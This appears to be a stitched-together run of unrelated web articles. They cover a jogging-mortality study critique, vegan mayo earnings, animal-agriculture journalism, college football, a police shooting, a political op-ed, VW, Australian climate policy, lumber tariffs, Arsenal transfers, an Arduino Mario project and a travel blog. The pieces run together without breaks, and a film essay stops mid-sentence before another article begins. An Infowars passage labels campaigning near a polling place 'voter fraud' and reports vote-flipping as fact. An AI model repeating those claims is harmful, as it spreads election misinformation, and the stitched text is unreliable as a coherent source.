As far as I can tell, the only new thing in the study (aside from the fact that a few more people have died) is that in addition to looking at hours of jogging per week, number of jogging days per week, and self-reported pace, they added a fourth category that combines the other three for an overall rating of "light," "moderate," or "vigorous" jogger.
So what do the numbers tell us? If you're interested in an overall take on the current status of research into the potential cardiac dangers of too much exercise, I suggest you check out my comprehensive post from last year, which includes a discussion of the Copenhagen data. I'll add a few more detailed thoughts here.
First of all, I want to reiterate that the study is worth paying attention to, and we should take the results seriously if and when the data reaches any reasonable threshold of statistical significance. At this point, though, they're nowhere near that threshold. The main problem is that sample sizes are large in the "less exercise" groups, which means they have a statistically significant reduction in mortality, but they are tiny in the "more exercise" groups, which means they don't have a statistically significant reduction in mortality. This allows the authors to make the shamefully disingenuous argument that "strenuous joggers have a mortality rate not statistically different from that of the sedentary group"--which is almost a foregone conclusion, given that the sample size is less than a tenth as large.
The simplest and most objective way to make this point is simply to show the raw data. Here are the number of participants in each group, along with the number who died (of any cause) during the follow-up period:
QUANTITY OF JOGGING
Sedentary: 413 / 128
< 1 hour/week: 640 / 20
1-2.4 hours: 286 / 4
2.5-4 hours: 122 / 3
> 4 hours: 50 / 1
FREQUENCY OF JOGGING
Sedentary: 413 / 128
< 1 time/week: 323 / 5
2-3 times: 474 / 7
>3 times: 84 / 5
JOGGING PACE
Sedentary: 413 / 128
Slow: 178 / 7
Average: 704 / 15
Fast: 201 / 6
Now, you can search through those numbers looking for patterns. Does your risk really go up if you run more than 2.5 hours, but then go down again if you run more than four hours? Of course not. These are not real patterns, because we're talking about one, two, three, or at most five or six deaths. No matter how interesting or important the question is, you can't torture these numbers enough to force them to reveal the answers. They're simply not there.
What about the combined metric of "light, moderate, or strenuous" jogger? Here's a look at those numbers:
Sedentary: 413 / 128
Light: 576 / 7
Moderate: 262 / 8
Strenuous: 40 / 2
Yes, the conclusion of the study (that "strenuous" jogging is as bad as being sedentary) is based on two deaths over more than a decade of follow-up. (Thank goodness a third person didn't die, or public health authorities would be banning jogging.)
In reality, of course, the statistical challenges are even more complex than what's shown here. For example, the sedentary control group had an average age of 61.3, whereas the various running groups had an average age in their late 30s and 40s. So the comparison of death rates has to rely on imperfect statistical adjustment. You'll notice that 31 percent of the sedentary subjects died during the decade or so of follow-up, compared to 5 percent of the strenuous joggers, who had an average age of just 37.0 at the start of the study. The researchers argue that this means the "hazard ratio" is about the same, but that requires an awful lot of assumptions about why people die in their 30s or 40s versus why they die in their 60s and 70s. Of course, with only two deaths in the strenuous group, it's impossible to perform any sub-analysis on different causes of death. Did the joggers die of heart disease, as the paper suggests they should, or were they hit by a car or struck down by cancer? We have no idea.
The same issue arises with gender: 43.1 percent of the sedentary group was male, and 49.1 percent of the light joggers, but 80.0 percent of the strenuous joggers. Again, the researchers "adjust" for gender, but it's not an apples-to-apples comparison, especially since the groups are so dramatically different in several traits.
Seriously, to publish this data once was legitimate. (In the original paper, researchers didn't make all sorts of claims based on the sub-analysis of jogging dose.) To publish the same data a second time, this time making stronger claims about a "U-shaped" curve based on two (TWO!!!) deaths, is... well, you can make up your own mind. The data is right there.
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Read the Sweat Science book, and follow the latest posts via Twitter, Facebook, or RSS.Hampton Creek CEO Josh Tetrick reported that the vegan company’s earnings skyrocketed by 350 percent in 2015. While San Francisco-based Hampton Creek is best known for its eggless Just Mayo product, Tetrick told Foodnavigator-USA, “We’re not going to change the world in a fundamental way just with an [egg-free] mayo.” Hampton Creek produces a range of products and plans to roll out many more, but its Just Mayo has already made an impact on the food system by forcing the hand of Unilever-owned Hellmann’s to create its own egg-free spread in order to compete. Hampton Creek is disrupting America’s reliance on eggs with wide distribution channels of Just Mayo—currently available at Walmart, Target, Costco, and many other major retailers in addition to foodservice company Compass Group which supplies school, university, and corporate cafeterias. Given the company’s victory over the American Egg Board, Unilever, and the US Food and Drug Administration, the fact that all 7-Eleven stores now use Just Mayo in its deli sandwiches along with its astounding investor profile, we’d say that Hampton Creek is having a great year.
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Get our award-winning magazine! SubscribeVery few issues have larger implications for public health, animal welfare, and the environment than industrial animal agriculture. Over the past six years, we’ve spent a great deal of time reporting on animals, both about their welfare and also on the larger (and growing) implications around meat production, consolidation, and regulation (or lack thereof). In this month’s editor note, I share some of the stories we’ve covered on this intensely complex, political, and personal issue.
Animal agribusiness is big business, and we’ve written for years about the undue influence it has on elected officials, and how industry is fighting to maintain the status quo. We’ve looked at consolidation in the meat market and shared stories about at the battle over corporate pork ownership. We’ve looked at the serious health implications of industrial animal production, from swine flu to the overuse of antibiotics to shifts in the marketplace, to bird flu, and we have looked at whether consumer demand for sustainably produced meat are being met or not.
We’ve reported on the growing numbers of factory farms (or concentrated animal feeding operations, CAFOs); how consumers might benefit if they were better regulated; how they threaten national monuments; what happens when mega-dairy operations take over; how local communities are fighting back; journalists who want to use drones to expose factory farms; and why drawing a distinction between factory and family farms is so important.
From our very inception, we have covered the growing political awareness of animal welfare, from the early days of Proposition 2 in California in 2008, to this recent important update on how that law has played out in California and beyond. Last month, we also covered a similar law in Massachusetts that could soon move forward to ban crates and cages for chickens and pigs.
While laws are being passed in some places to change factory farms, conditions remain dire for most of the nation’s farm animals. We’ve written about this sad state of chickens in the U.S. and have tracked advocacy campaigns that looked behind the barn doors at a factory chicken farm. We’ve explained pastured-raised eggs and why organic certification doesn’t always mean animals are humanely raised. We’ve also shared thoughts on why it’s time to mothball the Butterball turkey and consider turkey-less Thanksgivings.
We began covering “ag gag” laws early on, and we’ve written about how they are used to criminalize documentation of inhumane and unsafe practices inside CAFOs. We’ve also followed many of these laws as they have moved quickly from state to state.
Although there’s a lot to be troubled by in the world of animal ag, we have also sought to highlight farmers and ranchers forging a different path. For instance, before we even officially launched, we reported on Joel Salatin, a self-described “grass farmer” and owner of Polyface Farm in Virginia. We also featured Paul Willis, who, with Bill Niman, started Niman Ranch, to create a sustainable pork production. And we explored what the recent sale of Niman Ranch to ag giant Perdue could mean for farmers. We have highlighted the work of the “Pope of Pork,” Russ Kremer, a fifth-generation pork producer and now a driving force in the movement for more sustainably raised, antibiotic-free livestock. And we’ve shared the story of sustainable bison ranchers.
While industrial animal agriculture poses serious threats, we’ve also sought to report on the solutions to many of these problems. We have featured women ranchers who are banding together to sell their meat; a Butchers Guild offering customers a conscientious product prepared with skill; the rise of meat CSAs; students who are taking pork from the school farm to the cafeteria; and one New York State ranch that is serving its own beef in its local restaurants.
We also took our readers to a Vermont slaughterhouse that has public viewing windows, which allows visitors to observe how animals become food, and took a look at “group sow housing,” an alternative to gestation crates. We’ve explained some of the challenges of being a pasture-raised rancher in winter; examined what it takes for a small rancher to make a living raising ethical meat; examined how prisons are training inmates to fill a widening gap in butchers; and looked at whether better grazing could help prevent with climate change. We’ve also taken a hard look at what “grass fed” really means.
As more people seek to reduce their meat consumption, we have looked at the success and challenges of the Meatless Monday campaign; how to eat less and better meat in the Meat Eater’s Guide to Health & Climate Change; and cookbooks that help folks to focus more on plant-based foods or go vegan, and looked at the Low Carbon diet, (and the opposite, the Paleo diet) and the campaigns for “cool food” that reduce the effects of climate change. We’ve written about former vegetarians crossing back over to eating meat; “conscious carnivores,” who vow not to eat confinement-raised meat; and about the alternatives to animal ag, from Hampton Creek’s eggless mayo, to a multitude of plant-based meat analogue products, and lab-grown chicken breast.
And it’s not just land animals at stake; we’ve also covered seafood, including early reporting on the problems in shrimp production (we also shared Barry Estabrook’s recent update about the horrific slave labor associated with Thai-farmed shrimp). We’ve reported on the ills of Chile’s salmon farming industry, while taking an early look at the GMO salmon that is still awaiting FDA approval.
We’re not alone in thinking and writing about animal agriculture. Over the past few years, some incredibly important books have shed light on the complex economic, political, and social/health issues behind your hamburger. We have reviewed Jonathan Safran Foer’s, Eating Animals; Moby’s book on factory farms, Gristle; Animal Factory, by David Kirby; The CAFO Reader, by Dan Imhoff; Christopher Leonard’s The Meat Racket; The Chain, by Ted Genoways; Nicolette Niman’s Defending Beef; and Pig Tales, by Barry Estabrook.
These stories are critical to shining a light on an industry that has operated often at great cost to our well-being and to that of animals and the planet. We aim to not just ask the hard questions, but also to seek out and report on stories that showcase the positive changes being made to reclaim a better animal agriculture. This is a topic that demands our attention and we will continue to cover it with rigor. Whether we choose to eat meat or not, we all play a part in the larger conversation and can make informed choices to help create a better food system.It’s Miami week so, there was a lot to talk about when Florida State head coach Jimbo Fisher held his weekly call-in show from Tallahassee on Wednesday.
Florida State enters the game after coming off its first win of the season, while Miami comes into Saturday’s showdown with a perfect 3-0 record - marking the second straight year the Hurricanes play the in-state rivalry as an unbeaten.
The game was originally supposed to be played Sept. 16, but was postponed until Oct. 7 due to Hurricane Irma. Well, lo and behold, another tropical system - this time “Nate” - is threatening to become a tropical storm, or maybe even a hurricane, before Saturday’s 3:30 p.m. scheduled kickoff. Florida State said Wednesday afternoon it is monitoring the storm, but Fisher wasn’t really asked about it Wednesday night during the show other than how the team prepares in practice to face potentially wet conditions during the game.
Fisher also touched on the use of tight ends in the offensive game plan and how his players handle criticism.
Here’s tonight’s recap:
ENOUGH WITH THE TIGHT END QUESTIONS ALREADY!: Every week that the call-in show has been held this season, Fisher gets the same question (and tonight he actually got it twice): “When are you going to unleash the offensive juggernaut that IS the Florida State tight ends unit?!?” It appears Fisher is growing tired of it, and this week, not only did he reply once again, “Be patient. We are,” he even pointed out that the tight ends had six passes thrown their way against Wake Forest — the most of the three games this year. “We targeted them SIX times last game, but I know you guys don’t realize that. Also, you’ve got to remember, these guys help in protection too when you’re taking negative plays. But we know how to use them (the tight ends), I promise you.” Starting tight end Ryan Izzo is the only tight end on the team with any receptions, and he has three for 46 total yards. And Fisher is darn sure right about needing the tight ends to block — Wake Forest recorded a staggering 17 tackles for loss against the Seminoles in last week’s game.
NO ONE WORRIED ABOUT THE STORM, HUH? OK, THEN...: Shockingly, not a single question was asked tonight about what Florida State may do about (potentially) Tropical Storm/Hurricane Nate, which - after it strengthens -- is projected to hit North Florida by Saturday. Kickoff is set for 3:30 p.m., but there has already been some rumblings we’ve heard of moving the start to noon instead. And what would Florida State do if the game was once again forced to be canceled Saturday due to weather? Could it be moved to Friday? Moved to Miami? Would it be made up at the end of the season and the ACC Championship Game postponed? Would it be washed altogether? None of those logistical questions came up Wednesday. Instead, the closest we got to a weather-related question was one caller who wanted to know how Florida State prepared in practice to play in the expected rain. And Fisher said they prepare to play in sloppy conditions every week, and that it’s built into their practice routine. “We do that every week, no matter whether it’s dry or wet or rain is expected. Built into our preparation every week,” Fisher said.
FISHER CALLS SOCIAL MEDIA “POISON” AND “TOXIC:” Look, we know Fisher hates social media. He’s not tweeting. He’s not snapping. He ain’t making no connections on LinkedIn. And if he has a personal Facebook page outside of his fan page, it’s hidden well. So when he was asked tonight about his players handle social media criticism from fans - especially the offensive line, which has been a dart board for insults in the early part of the season - Fisher didn’t hold back. “I don’t read social media. It’s poison. It’s toxic. Let those people frustrate and vent,” he said. “I just tell the guys to ignore it. Because when we’re great, we’re the greatest thing in the world. Truth always lies somewhere in between.” Florida State was one of the first programs in the nation to institute a social media ban during the season, and it’s going on five years now (ever since it worked for the 2013 national title team).
To read more from tonight’s Jimbo Fisher Call-In Show, read through the updates in the comments below.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
March 4, 2015, 10:59 AM GMT / Updated March 4, 2015, 1:07 PM GMT
A police officer died after being shot in the head by a suspect in Fulton County, Georgia early Wednesday, authorities said.
The victim was one of two officers who were “ambushed” as they responded to reports of shots fired at a home at about 1 a.m. ET, Detective Melissa Parker of the Fulton County Police Department told NBC News.
The suspect had left the scene by the time officers responded and had begun to search the surrounding neighborhood when they were fired on, she said, adding that it was very dark and foggy at the time.
The officer was taken to Grady Memorial Hospital, where he was later pronounced dead, she said.
"This is not the first officer that we have lost. It's heartbreaking," Fulton County Assistant Police Chief Gary Stiles told NBC affiliate WXIA.
The station reported that police were told the suspect was possibly intoxicated.
— Shamar Walters and Alastair Jamieson
This is a developing story. Check back for updates.GONE GIRL and EYES WIDE SHUT:
A Study of Psychopathy in the Heteronormative Patriarchal Occult
I
It all started with an Aerosmith video.
It was Midlothian, Virginia—sometime in October, 1990. I remember sitting on the couch after soccer practice. This had become a routine. MTV was constantly playing in our |
for compassion was “no”—as it has been for so many pleas on behalf of refugees, migrants, and immigrants during Trump’s first year in office.
We have come to expect the worst from Donald Trump. But when he mixes his worst with the symbolism of a holiday that is supposed to bring out the best in people, the president’s cruelty seems all the more stark and unrelenting. Trump is famously ignorant with regard to American history, but you would have thought that he would at least get the basics of Thanksgiving.
Trump has given America a presidency in which refugees and immigrants are demonized and a harsh disregard for religious and cultural diversity warps our politics. He shows little or no regard for the fact that America is a nation of immigrants—and that many of those immigrants came seeking religious freedom. As such, he distinguishes himself in the worst of ways from his predecessors in the Oval Office, and from the values they embraced.
We should be conscious of this at all times. Current Issue View our current issue
But it is especially valid to note Trump’s breaking of the faith at Thanksgiving because, of course, the Pilgrims were migrants seeking refuge from intolerance, violence, and hardship. They were welcomed by indigenous peoples. And they shaped an American story of what President Barack Obama referred to as “inherent selflessness and common goodness.”
“In the same spirit of togetherness and thanksgiving that inspired the Pilgrims and the Wampanoag, we pay tribute to people of every background and belief who contribute in their own unique ways to our country’s story,” Obama said in one of the last of his Thanksgiving proclamations. “Each of us brings our own traditions, cultures and recipes to this quintessential American holiday—whether around dinner tables, in soup kitchens or at home cheering on our favorite sports teams—but we are all united in appreciation of the bounty of our nation. Let us express our gratitude by welcoming others to our celebrations and recognize those who volunteer today to ensure a dinner is possible for those who might have gone without. Together, we can secure our founding ideals as the birthright of all future generations of Americans.”
For such statements, Obama was attacked by conservatives for infusing his proclamations with “multicultural pieties.”
What the proto-Trumpian Obama critics failed to recognize was that Thanksgiving is a holiday for “multicultural pieties”—for embracing diversity, for sharing our prosperity, for recalling the history of welcoming the stranger. And for carrying those legacies forward in what President George W. Bush once described as “a free, faithful, and fair-minded land.”
Forty years ago, President Gerald Ford proclaimed, “Let us join in giving thanks for our cultural pluralism. Let us celebrate our diversity and the great strengths that have come from sharing our traditions, our ideas, our resources, our hopes and our dreams. Let us be grateful that for 200 years our people have been dedicated to fulfilling the democratic ideal—dedicated to securing ‘liberty and justice for all.’” Ford’s sometime rival Ronald Reagan would use one of his Thanksgiving proclamations to observe that “people from every race, culture, and creed on the face of the Earth now inhabit this land. Their presence illuminates the basic yearning for freedom, peace, and prosperity that has always been the spirit of the New World.”
Eighty years ago, during the Great Depression, President Franklin Roosevelt crafted the finest of the many presidential proclamations of Thanksgiving. FDR highlighted connections between Americans of differing backgrounds, as well as a global responsibility to “by example and practice help to bind the wounds of others.”
In traversing a period of national stress our country has been knit together in a closer fellowship of mutual interest and common purpose. We can well be grateful that more and more of our people understand and seek the greater good of the greater number. We can be grateful that selfish purpose of personal gain, at our neighbor’s loss, less strongly asserts itself. We can be grateful that peace at home is strengthened by a growing willingness to common counsel. We can be grateful that our peace with other Nations continues through recognition of our own peaceful purpose. But in our appreciation of the blessings that Divine Providence has bestowed upon us in America, we shall not rejoice as the Pharisee rejoiced. War and strife still live in the world. Rather, must America by example and in practice help to bind the wounds of others, strive against disorder and aggression, encourage the lessening of distrust among peoples and advance peaceful trade and friendship.
FDR would, as the years went on, add some “multicultural pieties” of his own. In his last Thanksgiving proclamation, issued in November 1944, Roosevelt wrote, “Let every man of every creed go to his own version of the Scriptures for a renewed and strengthening contact with those eternal truths and majestic principles which have inspired such measure of true greatness as this nation has achieved.”
It is surely true that presidents and citizens do not always rise to the challenges of our times. But the 45th president really is the worst of the lot. His inability to recognize the cruel irony of attacking refugees at Thanksgiving time illustrates just how disconnected Trumpism is from the arc of American history that bends toward justice.
Our best values, our best ideals, are constant. We are descended from migrants and refugees and immigrants—and from those who welcomed migrants, refugees, and immigrants. This is who we are as Americans. And the best measures of our greatness are found in a history of respecting diversity as a source of strength, and in an inclination to “encourage the lessening of distrust among peoples.”AutoGuide.com
Just two days after apologizing for cheating on US emissions procedures, Volkswagen CEO Dr. Martin Winterkorn has been reportedly removed from his position as the man in charge of the world’s largest automaker.
Winterkorn will reportedly be replaced later this week by Porsche CEO Matthias Müller (above).
Müller became CEO of Porsche AG in 2010 and worked for Audi from 1977 until 2007 when he was placed in charge of global vehicle development for all Volkswagen brands.
SEE ALSO: How VW Tricked the EPA’s Emissions Test
A pre-planned board meeting was already scheduled for September 25th to evaluate whether or not to extend Winterkorn’s term as CEO.
A VW spokesman has said the reports of Winterkorn’s ousting in favor of Müller are “ridiculous.”
The news comes as Volkswagen today announced that the problem of emissions cheating isn’t exclusive to the 500,000 TDI diesel models sold in the US between 2009 and 2015. The issue is instead a global one, with as many as 11 million cars affected.
SEE ALSO: VW CEO Says He’s “Deeply Sorry”
After Volkswagen stock tumbled 19% in Monday trading, wiping roughly $17 billion off the company’s market cap, shares continued to plunge dropping an additional 20 percent in mid-day trading.
[Source: Tagesspiegel via Jalopnik]Malcolm Turnbull compares RET to carbon tax; Abbott puts $60b price tag on Labor's renewables target
Updated
Labor has accused the Federal Government of being deeply divided on climate change after senior minister Malcolm Turnbull likened the Government's renewable energy target (RET) to a carbon tax.
The Coalition has run a long campaign against Labor over its previous policy for a fixed price on carbon, calling it a carbon tax.
And the Labor plan to reinstate an emissions trading scheme (ETS) has led Prime Minister Tony Abbott to warn that the policy would install a floating "carbon tax".
Mr Abbott repeated the ETS criticism on Monday, calling the policy an "electricity tax scam".
But Mr Turnbull suggested the RET still carried a cost for households and could be considered a tax.
"Whether it's a regulation, whether it's a RET, ETS or carbon tax fixed price, all of those can be seen as a cost on the business of generating energy and therefore a cost on households purchasing energy, and therefore in that sense a tax," Mr Turnbull said.
Labor's environment spokesman, Mark Butler, issued a statement saying Mr Turnbull had called "bullshit on Tony Abbott's scare campaign".
"Prime ministerial aspirant Malcolm Turnbull has today slapped down Tony Abbott's climate change scare campaign in an extraordinary way," he said.
"Malcolm Turnbull today defied his leader to say that an emissions trading scheme is not a tax.
"Mr Turnbull lost the Liberal Party leadership for supporting an emissions trading scheme.
"Labor will increase Australia's renewable energy mix to 50 per cent with an emissions trading scheme to take action on climate change.
"Only Labor — and Malcolm Turnbull — take the need for strong action on climate change seriously."
On Monday, Mr Abbott attacked Labor's plans for a 50 per cent RET by 2030, warning it would allow a "massive overbuild of wind farms" and cost tens of billions of dollars.
Labor announced the proposal for the increased RET ahead of the party's national conference, doubling the existing 2020 target of 23.5 per cent.
"One of the truly bizarre decisions coming out of the Labor conference on the weekend was this move to increase the proportion of renewables in our system, to some 50 per cent," Mr Abbott said.
"This constitutes a massive hit on consumers and on jobs."
He said the cost of such a significant shift would be "massive... perhaps $60 billion or more" and would lead to an oversupply of wind energy.
"You've got this massive and unnecessary commitment to renewables, which will cause a massive overbuild of wind farms, all of which has to be paid for by the consumers," Mr Abbott said.
But Opposition Leader Bill Shorten dismissed the criticism, saying the Prime Minister "just makes up numbers to scare people".
"He has no evidence or science, in fact he is the most unscientific prime minister Australia has had in a long time," Mr Shorten said.
Labor leaders talk to Gore about climate policy
The Labor leader has been in talks with former United States vice president Al Gore, who has flown to Australia ahead of the international climate talks in Paris later this year.
"Vice President Gore congratulated Labor on taking a stand which will see the future for Australian brighter than it otherwise would be," Mr Shorten said.
Mr Gore also consulted with state Labor leaders on climate policy.
"This is the tipping point year for action on climate," the international environmental campaigner said.
"The meeting in Paris is shaping up as a success."
The Coalition still has not revealed the post-2020 target it will take to the Paris meeting, and Mr Abbott said he would consult with his party room when Parliament returned next month before a final number was chosen.
Mr Gore said there are many people around the world who think of Australia as a leader on climate policy.
"Some have been, frankly, scratching their heads of late wondering what has been going on," he said.
Topics: climate-change, environmental-policy, federal-government, federal-parliament, environmental-technology, australia
First postedWASHINGTON — The U.S. Commerce Department said on Thursday it made a final finding that imports of Canadian softwood lumber are being unfairly subsidized and dumped in the United States, escalating a trade dispute with Canada in the midst of NAFTA trade talks.
The decision imposes anti-dumping and anti-subsidy duties affecting about $5.66 billion worth of imports of the key building material.
The department said exporters from Canada have sold softwood lumber in the U.S. market at 3.20 per cent to 8.89 per cent less than fair value, and that Canada is providing unfair subsidies at rates of 3.34 per cent to 18.19 per cent.
The decision follows failed talks to end the decades-long lumber dispute between the United States and Canada.
“While I am disappointed that a negotiated agreement could not be made between domestic and Canadian softwood producers, the United States is committed to free, fair and reciprocal trade with Canada,” U.S. Commerce Secretary Wilbur Ross said.
“This decision is based on a full and unbiased review of the facts in an open and transparent process that defends American workers and businesses from unfair trade practices.”
The disagreement centers on the fees paid by Canadian lumber mills for timber cut largely from government-owned land. They are lower than fees paid on U.S. timber, which comes largely from private land.
The Canadian government argues that its fees are fair and is prepared to litigate the matter if a settlement cannot be reached.
James Brochu, co-chair of the U.S. Lumber Coalition and president of Pleasant River Lumber Company, said U.S. lumber companies can now expand production to meet demand in the United States.
“The massive subsidies the Canadian government provides to their lumber industries have caused real harm to U.S. producers and their workers,” said Brochu.
The decision is likely to escalate tensions between the United States and Canada during already difficult negotiations to modernize the North American Free Trade Agreement.
In September, in the midst of the third round of NAFTA talks, the United States slapped preliminary anti-subsidy duties on Canadian jetmaker Bombardier Inc’s CSeries jets after rival Boeing Co accused Canada of unfairly subsidizing the aircraft.
© Thomson Reuters 2017Arsenal have added the former Manchester City striker Mario Balotelli to their list of summer targets but have ruled out a move to re-sign Cesc Fabregas.
Balotelli, who is in the Italy squad for the World Cup, is likely to be sold by AC Milan this summer and Arsène Wenger, the Arsenal manager, is a big admirer of the 23-year-old.
Wenger would ideally like to sign two forwards and he has drawn up a list of targets that also includes Real Madrid pair Karim Benzema and Álvaro Morata, and the Queens Park Rangers striker Loïc Rémy.
Arsenal are confident that they can land Frenchman Rémy and have held talks over Morata, but Real want a buy-back option on the 21-year-old.
Balotelli, who is likely to face England in both countries’ World Cup opener on Saturday week, is another option Arsenal are aware of, but it remains to be seen whether Wenger and the club are willing to take on his off-field baggage.
The Italy international scored 30 goals in 80 appearances for City and has scored 30 times in 54 games for Milan.
Wenger is travelling to Brazil to watch the competition and make moves for targets.
AC Milan signed Balotelli for £24 million in January 2013 after a string of bust-ups and incidents ended his City career. However, the Italian club are now willing to cash in on him to raise funds.
In 2009, Wenger praised the Italy forward by saying: “I am keeping an eye out for Balotelli, a player I like very much. In my view he can be one of the best.”
Fabregas, meanwhile, could be a target for Manchester City to replace the unhappy Yaya Touré after Arsenal decided not to utilise their buy-back option.
Barcelona have told Premier League clubs that Fabregas can leave the Nou Camp this summer for £30 million but Arsenal have not responded to the tip-off that the midfielder is available.
Fabregas is understood to be disappointed that Arsenal have not shown a greater interest, but is still hoping to come back to England.
Having signed Mesut Özil for a club record £42 million fee last summer, Wenger would struggle to accommodate Fabregas in his squad.
City are ready to target Fabregas as a replacement for Touré if the Ivory Coast midfielder cannot be convinced to stay at Eastlands, having complained about the club’s lack of recognition of his birthday.
Fabregas is four years younger than Touré and would count as a home-grown player under Financial Fair Play rules, having first joined Arsenal as a 16-year-old. His £100,000-a-week wages are also significantly lower than Touré’s, which would also benefit City’s FFP situation.
City were fined £49 million, £32 million of which is suspended, and can only name a 21-man Champions League squad next season after failing FFP rules.
Ten players Wenger could spend £100m on in the transfer windowClinton supporters have been caught on camera committing voter fraud outside a polling station in Philadelphia by encouraging people to vote for the Democratic Party.
Footage shows two African-American men handing out campaign material within feet of a polling station encouraging voters to “push button number 1” to voter for the Democrats. The material is “paid for by the Democratic County”.
The two men deny encouraging people to vote for a specific party, despite the fact that their material openly encourages people to vote for the Democratic Party.
“You really should take a class, and you need to learn, you’re not going to disrespect anybody….I’m telling you what the law is,” states one of the men.
State law applying to electioneering in Pennsylvania asserts that, “All persons, except election officers, clerks, machine inspectors, overseers, watchers, persons in the course of voting, persons lawfully giving assistance to voters, and peace and police officers, when permitted by the provisions of this act, must remain at least ten (10) feet distant from the polling place during the progress of the voting.”
This is just one example of numerous vote fraud concerns being reported in Pennsylvania.
CBS News reports that numerous voters are seeing their votes flipped from Trump to Clinton.
Another video shows an African-American man in Pennsylvania attempting to vote for Trump/Pence, but the machine refuses to allow him to do so, repeatedly defaulting to Clinton/Kaine.
this is what I was talking about, they fixed it but it was on some nut shit at first. pic.twitter.com/GO5Y9FCnYN — ædonis | hotep (@lordaedonis) November 8, 2016
As we reported earlier, Trump supporters at polling stations in Philadelphia are also being harassed.
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Paul Joseph Watson is the editor at large of Infowars.com and Prison Planet.com.MacGyvering the Mario Odyssey Jump-Rope Challenge Antin Harasymiv Blocked Unblock Follow Following Nov 26, 2017 Super Mario Odyssey is quite possibly my favorite Mario game. So much so that I went out of my way to complete every last challenge. But one of them gave me more trouble than all the others combined: Jump-Rope Genius in the Metro Kingdom. You don’t even need to move. You just need to successfully jump 100 times in succession. But the trick is every five jumps it speeds up until 50, until you’re jumping almost twice a second. Press jump too early and you fail. Press jump too late and you fail. Press jump for too long and… you guessed it, you fail. Jump Challenge After a few dozen or so failed attempts I started joking that I’d just build something to beat it for me… and as the days went by and I still hadn’t finished the challenge my joking turned more serious and I started wondering how to do it. My first thought was to simply program an Arduino to bridge the connectors for the jump button on a Switch controller, but thankfully I checked the iFixit teardown first because Nintendo controllers since the Wii use dome switches instead of the conductive rubber pads, which makes that impossible (for some fun reading see the evolution of Nintendo controllers over the years). Switch Joy-Con controller I was mentally tossing up between buying an older GameCube controller (with adapter) which would be easy to hack, or using a solenoid to physically press a button on a Switch controller, both seemed like viable solutions, but after getting outbid on the first few GameCube controllers selling on eBay I settled on the solenoid route. After completing 835 of the 836 unique challenges in Mario, I turned all my attention back to the final moon. In order to program something to beat it, first I’d need to measure the timing, so my intention was to record the screen and then count the frames. Before setting up a camera I put a few practice rounds in, and much to my horror, I actually beat the thing legitimately.
Having spent two weeks telling everyone I knew that I was going to program something to beat it (and having most of them scoff) losing the excuse to do so was pretty disappointing. However being an adult, I realized that I didn’t really need an excuse to waste my time and money (that’s pretty much all we do), so express ordered an Arduino and the necessary components to start my project.
The first step was to figure out how to use an Arduino, which… was pretty straight forward actually, the online editor and tutorials are super easy, and after programming a few flashing LEDs I felt ready to go. The biggest hurdle was actually finding a USB-B cable because honestly who still uses those? The second step was to figure out the timing, and I made it impressively difficult for myself. I thought I was being clever by recording from the overhead view, and could use the woman’s foot to align frames, when her hand touched her foot I’d call that a revolution, and I painstakingly went through QuickTime pressing the arrow keys to step a frame at a time and counting one, two, three… sixty-eight, sixty-nine, seventy. The middle frame shows her hand aligned with foot The second and a half step was to realize the jump count was a more reliable measure, and that Final Cut Pro would show me the time and frame count, allowing me to really quickly scrub through the video. Final Cut Pro Do this 50 times… and put all the results into a spreadsheet and you have the secret to Jump-Rope success. Those last 50 jumps? You need to do one every 0.58 seconds.
Measured timings for Mario Jump-Rope challenge
With timings completed I turned my attention to the electronic half of the problem, and fortunately someone who understands electronics (I definitely do not) had already shared how to control a solenoid with an Arduino. For those who don’t know, a solenoid is really just a cylindrical coil of wire which when you run a current through produces a magnetic field. The name is interchangeable with a few things that use solenoids (the coil part) to do something more complex, in this case push a small metal rod. Turn on the power and the rod pushes out, turn it off and the spring moves it back.
Completed circuit
I wired up a circuit with a simple switch and solenoid, and wrote a program that would loop through and trigger it, progressively shortening the timing as it progressed. Flipping the switch would start the loop, turning it off would reset. This would enable me to manually run Mario into position and flip the switch to start, and also give me an easy way to retry if I messed up (which I anticipated would be often). After a few hours (and some tips from my brother) I had a working circuit! Solenoid in action At this point I’d basically assumed success, and then reality kicked in (or rather, kicked me). In my naiveté I’d assumed the solenoid would be able to trivially depress a Switch button, the one I bought was a 5V solenoid able to move 3mm and apply 80 grams of force, that seemed like a lot (it’s actually less than a single newton). I held it against the controller and… nothing. No movement, the button refused the budge. Googling for how much force is needed to press a Switch controller yielded no results, and around my house I had no good tools to measure it with. So, with no good tools, I went looking for some bad ones. What about cooking measures? I filled 1/3 of a cup with water and balanced that above a button, no movement. I filled 1/2 of a cup with water and it depressed. So there’s your answer, a Joy-Con button needs somewhere between a third and half a cup of water. Turning those back into real units, 1 cup = 250 ml and the easy thing about the metric system is that weight is derived from the volume of water. 250 ml is 250 grams, so my Joy-Con needed somewhere between 83 grams and 125 grams to depress. Suddenly my 80 gram solenoid didn’t seem so underpowered, what if I… overpowered it? I was giving it the 5 volts it asked for, but I had a 9 volt power supply. The magnetic force of a solenoid increases with the voltage (actually it goes up with the square of the voltage) so at 9 volts my solenoid should be applying closer to 250 grams, or as I like to think about it, 1 cup of water! Step four involved attaching the solenoid to the controller. Given how little thought I had put into planning this part, it was no surprise how inelegant the solution turned out. A few pieces of wood raised it over the other buttons, a few pieces of electrical tape held the wood in place, and a rubber band kept the solenoid in position.Updated: 02/02/2019 | February 2nd, 2019
Sometimes it’s good to travel with absolutely no plans, and sometimes it’s good to have a rough itinerary.
No matter what your choice is, it’s important that you remain flexible.
When I first started backpacking in 2006, I remember jumping on a train to Amsterdam on a whim. After I left there for Spain, I missed the city so much, I spontaneously flew back to Amsterdam and lived there for two months. One time I was in Thailand, and rather than moving on with my itinerary, I just decided to stay on in Ko Lipe for a month.
However, recently I’ve become more rigid in how I travel. I like to work, and though I might (sometimes) complain that having a website means I can’t go off the grid, the truth of the matter is that I am a workaholic.
I love improving this site.
I got this work ethic from my parents, and I’ve never gotten rid of it.
But having a job quickly changed how I traveled, and not how I expected. Sure, it removed the anxiety of not knowing how I would pay for the next leg of any trip, but it replaced that uncertainty with a different kind of anxiety. The kind that comes from responsibility.
Before, I was a carefree traveler with no obligations and complete freedom. I could do what I wanted. Now, I have blogs to write, emails to answer, content to post, and interviews to do. I loved my work and the ability to work anywhere, but it still came with deadlines and responsibilities—especially if I wanted it to keep paying my bills.
This website often doesn’t give me the flexibility to make crazy changes in my plans like I used to be able to do. This job that was supposed to give me freedom and flexibility had somehow managed to chain me to a virtual desk and made me afraid of the uncertainty that might come if I unchained myself from it.
